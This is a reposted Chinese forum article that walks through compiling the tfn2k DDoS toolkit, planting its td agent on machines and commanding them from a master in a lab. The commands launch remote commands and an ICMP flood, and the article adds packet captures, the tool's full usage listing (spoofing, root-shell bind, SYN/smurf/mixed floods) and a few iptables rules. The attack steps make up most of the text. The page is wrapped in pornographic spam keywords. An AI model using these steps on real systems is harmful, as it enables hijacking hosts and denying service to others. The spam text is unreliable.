麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁(yè) > 學(xué)院 > 操作系統(tǒng) > 正文

分布式拒絕服務(wù)攻擊(tfn2k)攻擊及iptables過(guò)濾測(cè)試

2024-07-26 00:30:11
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友

By lanf, 出處:http://www.linuxaid.com.cn/forum/

By wjpfjy From LinuxAID Forum

  首先,我寫這篇文章的目的,并不是我想成為什么hacker之類,而且我不并不鼓勵(lì)任何人利用它來(lái)做一些有損他人的事情,我只是想多一些人關(guān)注網(wǎng)絡(luò)安全,共同研究并防御DOS。因?yàn)槲沂巧钍芷浜?(,所以,這篇文章僅用于技術(shù)參考,供大家研究DDOS防御之用。如果你利用它來(lái)做一些不合法的事情,那結(jié)果與我無(wú)關(guān)。

  拒絕服務(wù)攻擊(DOS,Denial Of Service)可以指任何使服務(wù)不能正常提供的操作。如軟件bug,操作失誤等。不過(guò)現(xiàn)在因?yàn)槭д`操作而造成的dos,可能性非常小,更多的是惡意的攻擊行為?,F(xiàn)在拒絕服務(wù)攻擊早已演變?yōu)榉植际骄芙^服務(wù)攻擊(DDOS,Distributed Denial Of Service),利用更多的代理集中攻擊目標(biāo),其危害更大。

  我們大家都知道tcp/ip協(xié)議現(xiàn)在已經(jīng)成為整個(gè)internet框架協(xié)議,可以說(shuō),如果沒(méi)有tcp/ip,至少internet不會(huì)像現(xiàn)在這樣普及,甚至不可能會(huì)有internet。但凡事皆有兩面性,tcp/ip使我們大家受益,同時(shí)因?yàn)閰f(xié)議本身構(gòu)造的問(wèn)題,它也成為別人攻擊我們的工具。我們以tcp三握手建立連接的過(guò)程來(lái)說(shuō)明?! ?/P>

一、tcp syn flood
  

  1.客戶端(client)發(fā)送一個(gè)包含SYN(synchronize)的tcp包至服務(wù)器,此數(shù)據(jù)包內(nèi)包含客戶端端口及tcp序列號(hào)等基本信息。

  2.服務(wù)器(server)接收到SYN包之后,將發(fā)送一個(gè)SYN-ACK包來(lái)確認(rèn)。

  3.客戶端在收到服務(wù)器的SYN-ACK包之后,將回送ACK至服務(wù)器,服務(wù)器如接收到此包,則TCP連接建立完成,雙方可以進(jìn)行通訊(感覺(jué)像,一拜天地...二拜高堂...送入洞房...哈哈)

  問(wèn)題就出在第3步,如果服務(wù)器收不到客戶端的ACK包,將會(huì)等待下去,這種狀態(tài)叫做半連接狀態(tài)。它會(huì)保持一定時(shí)間(具體時(shí)間不同操作系統(tǒng)不同),如果SYN請(qǐng)求超過(guò)了服務(wù)器能容納的限度,緩沖區(qū)隊(duì)列滿,那么服務(wù)器就不再接收新的請(qǐng)求了,其他合法用戶的連接都被拒絕掉。這種攻擊往往事半' 罪'倍,殺傷力超強(qiáng)?!?/P>

  當(dāng)然,DOS攻擊的方法多種多樣,如:UDP flood,ICMP/Ping,ICMP/SMURF...,具體原理的介紹大家可以到 http://www.chinaitlab.com/www/special/ciwddos.asp去看看,有很詳細(xì)的原理及常用攻擊軟件介紹。不過(guò)說(shuō)到DOS攻擊軟件,最具代表的莫過(guò)于tfn2k (Tribe Flood Network 2000),其作者是德國(guó)大名鼎鼎的mixter(其主頁(yè)http://mixter.void.ru/papers.html),好像最近正在埋頭搞什么tfn3k,哎~~,不知道又有多少人寢食難安了...

二.tfn2k攻擊原理

  1.tfn2k的攻擊體系。

  tfn2k應(yīng)該算是DDOS攻擊中的代表作,其所能實(shí)現(xiàn)的功能讓人瞠目結(jié)舌,嘆為觀止...(對(duì)它的敬畏有如滔滔江水,延續(xù)不絕...)來(lái)看看它的架構(gòu)。

  主控端---運(yùn)行tfn客戶端,來(lái)遙控并指定攻擊目標(biāo),更改攻擊方法.(罪大惡極)

  代理端---被植入并運(yùn)行td進(jìn)程的犧牲品,接受tfn的指揮,攻擊的實(shí)施者.需要注意的是,一個(gè)攻擊者,往往控制多臺(tái)代理來(lái)完成攻擊,而且其系統(tǒng)多為unix,linux等.(可憐的犧牲品)

  目標(biāo)主機(jī)---被攻擊的主機(jī)或網(wǎng)絡(luò),曾經(jīng)被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者,郁悶如我)

  2.tfn2k特性。

  ◆ 主控端通過(guò)TCP、UDP、ICMP或隨機(jī)性使用其中之一(默認(rèn).隨機(jī))的數(shù)據(jù)包向代理端主機(jī)發(fā)送命令,攻擊方法包括TCP/SYN、UDP、ICMP/PING、混合攻擊、TARGA3等。

  ◆ 主控端與代理端的通訊采取單向,即主控端只向代理端發(fā)送命令,并且會(huì)采取隨機(jī)的頭信息,甚至虛擬的源地址信息,代理端不會(huì)逆向向主控端發(fā)送任何信息.

  ◆ 所有命令經(jīng)過(guò)CAST-256算法加命,其關(guān)鍵字即編譯程序時(shí)的輸入的口令.并且這個(gè)口令做為唯一認(rèn)證憑證.

  ◆ 利用td進(jìn)程,主控端可以遠(yuǎn)程執(zhí)行shell命令.

  ◆ td進(jìn)程的名稱可以在編譯時(shí)更改,更便于隱藏.

  ◆ tfn可以編譯運(yùn)行于win32及l(fā)inux系統(tǒng)的.

  ...

  至于偽造源IP地址等功能,更是基本功能,并且其與老版本的tfn相比,它的發(fā)包效率更高,我自已的測(cè)試,在短短不到5分鐘,兩臺(tái)代理機(jī),使我的redhat linux 9.0系統(tǒng)癱瘓.

三.tfn2k 實(shí)戰(zhàn)測(cè)試

  1.測(cè)試環(huán)境:

   軟件:redhat linux 9.0
   硬件平臺(tái):
     master:
        IP: 192.168.0.6
       PIV2.4/256*2/rtl8139
     Ag1 :
        IP: 192.168.0.2
       PIV2.4/256*/rtl8139
     AG2 : IP: 192.168.0.3
       pIV2.6/512*2/3c905
     AIM: 192.168.0.5
       pIV2.66c/512*2/3c905
     switch: D_link des 1024R

  1.下載tfn2k.tgz(因?yàn)榇塑浖潜葘こ?,所以我并不提供下載地址,如果有興趣,自已到網(wǎng)上找吧)

  2.解壓: tar zxvf tfn2k.tgz

  3.修改文件

  A. src/Makefile 如果你的系統(tǒng)是linux系統(tǒng),不需要做任何修就可以,如果是win32系統(tǒng),請(qǐng)將


      # Linux / *BSD* / Others
      CC = gcc
      CFLAGS = -Wall -O3
      CLIBS =

  這幾行注釋掉,并將


      # Win32 (cygwin)
      #CC = gcc
      #CFLAGS = -Wall -DWINDOZE -O2
      #CLIBS =

  這幾行的注釋去掉.因?yàn)槲业臏y(cè)試系統(tǒng)為redhat linux 9.0所以并未做任何修改.

  B. src/config.h ,默認(rèn)的就可以用,如果感興趣,可以照其注釋信息進(jìn)行調(diào)整。

  C. src/ip.h 這里要做一些修改,否則編譯會(huì)有錯(cuò)誤,發(fā)生重復(fù)定義。


     /*struct in_addr
      {
       unsigned long int s_addr;
     };*/

  注意啊~~我可是將它放在"/* */"之間,也就是注釋掉了:)    

  D.更改編譯器:

  因?yàn)閠fn2k支持的是egcs-1.1.2-30,而redhat linux9.0所包含的是gcc-3.2.2-5,所以如果不替換掉gcc,tfn2k是編譯不過(guò)去的.需要注意的是,更改之后,有可能會(huì)造成基于gcc3.2.2的軟件編譯不去,請(qǐng)謹(jǐn)慎而行.

  方法很簡(jiǎn)單的,找到一張redhat linux 6.2安裝盤,將egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/


    cd /mnt/cdrom/Redhat/RPMS
    cp egcs-1.1.2-30* cpp-1.1.2-30* ~/

  安裝cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm

  安裝egcs rpm -Uvh egcs-1.1.2-30.i386.rpm

  (如果提示有誤,用nodeps、oldpackages、ignoreos等參數(shù)忽略過(guò)去就是了)

  4.編譯tfn2k


    cd tfn2k/src
    make

  首先會(huì)談出一個(gè)聲明,你必須接受,之后會(huì)提示輸入8-32位密碼,前邊提到過(guò),這是唯一的認(rèn)證憑證,會(huì)被分發(fā)于td進(jìn)程中,所以一定要記牢噢~。

  編譯通過(guò)后,會(huì)產(chǎn)生td及tfn,這就是大名鼎鼎的tfn2k啦~,td是守護(hù)進(jìn)程,用來(lái)安裝在代理中的,而tfn就是控制端.

  5.安裝td.

  將td上傳到我的兩臺(tái)代理,ag1(192.168.0.2)和ag2(192.168.0.3) ,因?yàn)槲抑徊贿^(guò)測(cè)試,所以用的是合法的root來(lái)上傳并執(zhí)行td進(jìn)程的,如果真要找到并安裝一個(gè)代理,你可能得費(fèi)點(diǎn)兒神,因?yàn)闆](méi)有一個(gè)管理員會(huì)說(shuō) “come on baby ~~.我給你root,來(lái)安裝td做代理吧”


   [root@test /] ftp 192.168.0.2
      Connected to 192.168.0.2.
      530 Please login with USER and PASS.
      530 Please login with USER and PASS.
      Name (192.168.0.2:root): wjpfjy
      331 Please specify the passWord.
      Password:
      230 Login successful. Have fun.
      Remote system type is UNIX.
      Using binary mode to transfer files.
    ftp> put td (上傳td)
     local: td remote: td
     227 Entering Passive Mode (192,168,0,3,198,225)
     553 Could not create file.
    ftp> by (退出ftp)
     221 Goodbye.

   [root@test /]ssh 192.168.0.2
//登陸到ag1 以執(zhí)行td ,注意,我用的是root帳戶,這樣才有足夠的權(quán)限來(lái)執(zhí)行它.
       [email protected]'s password:
       Last login: Tue Feb 24 06:51:13 2004
   [root@ ag1 /]find / -name td -PRint
//找到剛上傳過(guò)來(lái)的文件td.
   [root@ ag1 wjpfjy/]chmod a+x td
//使之具有執(zhí)行權(quán)限.
   [root@ ag1 wjpfjy/]./td
//運(yùn)行td ,這樣你就擁有一個(gè)代理了,它會(huì)對(duì)你唯命是從的:(。

  

  用同樣的方法在ag2 (192.168.0.3)上安裝并運(yùn)行TFN2k進(jìn)程td.   

  6.攻擊開始(悲慘的回憶上演中...)

  回到master(192.168.0.6 ),準(zhǔn)備演練...


   [root@master root]#touch host.txt
//建立代理記錄文件(因?yàn)槿绻阕銐驘o(wú)聊的話,有可能會(huì)建立很多的肉雞-
//代理,不記下會(huì)忘記的噢.)
  [root@master root]echo "192.168.0.2" > host.txt 將執(zhí)行過(guò)td的ag1加入host.txt。
  [root@master root]echo "192.168.0.3" >> host.txt 添加ag2到host.txt .

  先來(lái)測(cè)試一下鏈接。

  [root@master root]./tfn -f host.txt -c 10 -i "mkdir wjpfjy" 與host.txt中的代理通訊,讓其執(zhí)行命令mkdir wjpfjy即建立一個(gè)目錄


   Protocol : random
    Source IP : random
    Client input : list
    Command : execute remote command

    Password verification:    
//這里,會(huì)被提示輸入密碼,也就是編譯時(shí)輸入的密碼,如果錯(cuò)了,將無(wú)法與td進(jìn)程通訊

    Sending out packets: ..

  到ag1和ag2看看有沒(méi)有建立目錄名wjpfjy,一般情況下,會(huì)存在于td的同一目錄,如果不確定,可以用find / -name wjpfjy -print來(lái)查找   

  [root@master root]./tfn -f host.txt -c 6 -i 192.168.0.5 開始ICMP/PING 攻擊aim...(可憐我的P4啊,不到5分鐘,就跟386一樣慢),不過(guò)它在game over前,還是很艱辛的記錄下了攻擊數(shù)據(jù),也算是對(duì)得住的那NK大洋啦.這是tcpdump的抓包記錄.


[root@aim root]# tcpdump -r pack.atta -c 4 -xX
08:03:36.524907 23.43.171.0 > 192.168.0.5 icmp: echo request [ttl 0]
0x0000 4500 005c 659d 0000 0001 d22e 172b ab00 E../e........+..
0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 ................
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524933 192.168.0.5 > 23.43.171.0: icmp: echo reply
0x0000 4500 005c a5d5 0000 4001 51f6 c0a8 0002 E../[email protected].....
0x0010 172b ab00 0000 ffff 0000 0000 0000 0000 .+..............
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524944 36.235.130.0 > 192.168.0.5: icmp: echo request [ttl 0]
0x0000 4500 005c 659d 0000 0001 ed6e 24eb 8200 E../e......n$...
0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 ................
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524984 192.168.0.5 > 36.235.130.0: icmp: echo reply
0x0000 4500 005c 551c 0000 4001 bdef c0a8 0002 E../U...@.......
0x0010 24eb 8200 0000 ffff 0000 0000 0000 0000 $...............
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................

 

  [root@master root]./tfn -f host.txt -c 0 停止攻擊


    Protocol : random
    Source IP : random
    Client input : list
    Command : stop flooding

Password verification:

Sending out packets: ...

  當(dāng)然還有別的攻擊方法,你只要用-c X就可以更改攻擊方法.


  [root@master root]./tfn
   usage: ./tfn
[-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP.
        Uses a random protocol as default
[-D n] Send out n bogus requests for each real one to decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by default, you need
        to use your real IP if you are behind spoof-filtering routers
[-f hostlist] Filename containing a list of hosts with TFN servers to contact
[-h hostname] To contact only a single host running a TFN server
[-i target string] Contains options/targets separated by '@', see below
[-p port] A TCP destination port can be specified for SYN floods
<-c command ID> 0 - Halt all current floods on server(s) immediately
        1 - Change IP antispoof-level (evade rfc2267 filtering)
          usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
        2 - Change Packet size, usage: -i
        3 - Bind root shell to a port, usage: -i
        4 - UDP flood, usage: -i victim@victim2@victim3@...
        5 - TCP/SYN flood, usage: -i victim@... [-p destination port]
        6 - ICMP/PING flood, usage: -i victim@...
        7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@...
        8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@...
        9 - TARGA3 flood (IP stack penetration), usage: -i victim@...
        10 - Blindly execute remote shell command, usage -i command

四.防守辦法

  就如同網(wǎng)上所有介紹DDOS的文章一樣,DDOS防不勝防,我試著用防火墻過(guò)濾掉所有icmp包,來(lái)保護(hù)我的主機(jī),但所實(shí)現(xiàn)的,只是我的主機(jī)晚點(diǎn)兒崩潰而已.哎~,別指望我來(lái)防DDOS,要能防,我也不用不睡覺(jué)啊:(

  還是那句老話,我們能做的,就是盡量讓我們的主機(jī)不成為別人攻擊的代理,并對(duì)intranet 內(nèi)出行的包進(jìn)行嚴(yán)格限制,盡量不去危害別人,只要大家都這樣做,我們的網(wǎng)絡(luò)環(huán)境才可以安全一些,至少,我可以安心睡幾天覺(jué).

  附上我防火墻的一部分.主要是針對(duì)ICMP/PING的,不過(guò)用處不太大:(


/sbin/iptables -P INPUT DROP
/sbin/iptables -A INPUT -i lo -p all -j ACCEPT
/sbin/iptables -A INPUT -i eth1 -p icmp -j ACCEPT
/sbin/iptables -A INPUT -p icmp --icmp-type 8 -j DROP
/sbin/iptables -A INPUT -s 127.0.0.2 -i lo -j ACCEPT
/sbin/iptables -A INPUT -s 127.0.0.2 -i eth0 -j DROP
/sbin/iptables -A INPUT -s $LAN_NET/24 -i eth0 -j DROP
/sbin/iptables -A INPUT -s 172.16.0.0/12 -i eth0 -j DROP
/sbin/iptables -A INPUT -s 10.0.0.0/8 -i eth0 -j DROP
/sbin/iptables -A INPUT -i eth0 -m limit --limit 1/sec /
--limit-burst 5 -j ACCEPT/sbin/iptables -A INPUT /
-i eth0 -p udp -m state --state NEW -j REJECT
/sbin/iptables -A INPUT -p tcp --dport 22 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 80 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth1 --dport 53 -j ACCEPT
/sbin/iptables -A INPUT -p udp -i eth1 --dport 53 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth0 -m state /
--state ESTABLISHED,RELATED -m tcp --dport 1024: -j ACCEPT
/sbin/iptables -A INPUT -p udp -i eth0 -m state /
--state ESTABLISHED,RELATED -m udp --dport 1024: -j ACCEPT
/sbin/iptables -A INPUT -p icmp --icmp-type echo-request /
-j LOG --log-level 2
/sbin/iptables -A INPUT -i eth0 -p icmp --icmp-type /
echo-request -j DROP
/sbin/iptables -A INPUT -p tcp -m multiport /
--destination-port 135,137,138,139 -j LOG
/sbin/iptables -A INPUT -p udp -m multiport /
--destination-port 135,137,138,139 -j LOG
/sbin/iptables -A INPUT -i eth0 -p tcp --dport 2000 -j ACCEPT
/sbin/iptables -A INPUT -i eth0 -p tcp --dport 2001 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth1 -m state --state /
ESTABLISHED,RELATED -m tcp --dport 1024: -j ACCEPT

  以上只是我個(gè)人的一些摸索經(jīng)驗(yàn),不足或錯(cuò)誤之處,還望指證。如果您可以防止DDOS,也請(qǐng)告訴我:)因?yàn)楸疚膬?nèi)容的特殊性,轉(zhuǎn)載請(qǐng)通知我,謝謝合作:)

  并對(duì)幫助過(guò)我制定防火墻的sevenJ表示感謝!

  wjpfjy
  mail:[email protected]
  QQ: 928395


發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 久久精品久 | 免费国产视频在线观看 | 羞羞的动漫在线观看 | 久久精品一级 | 九九热精品在线播放 | 成人一级毛片 | 国产一区二区视频在线播放 | 色淫视频 | 制服丝袜日日夜夜 | 黄色av电影在线播放 | 亚洲一区二区三区高清视频 | 凹凸成人精品亚洲精品密奴 | 亚洲精品免费播放 | 久久久综合 | av电影手机在线看 | 久久久一二三 | 精品一区二区免费 | xxxx hd video 69 | 国产一级一片免费播放 | 91精品国产91久久久久久丝袜 | 九九热九九 | 亚洲成人网一区 | 成人男女视频 | 91九色蝌蚪在线 | 精品一区二区三区在线播放 | 性感美女一级毛片 | 国产亚洲精品久久久久婷婷瑜伽 | 久久sp | 亚洲午夜精品视频 | 久草免费资源视频 | 国产精品午夜一区 | 色播亚洲 | 第一区免费在线观看 | 成人在线视频国产 | 青热久思思 | 在线免费观看麻豆 | 国产精品一区视频 | 欧美aⅴ视频 | 精品国产一区二区三区在线观看 | 广州毛片 | 黄色片在线播放 |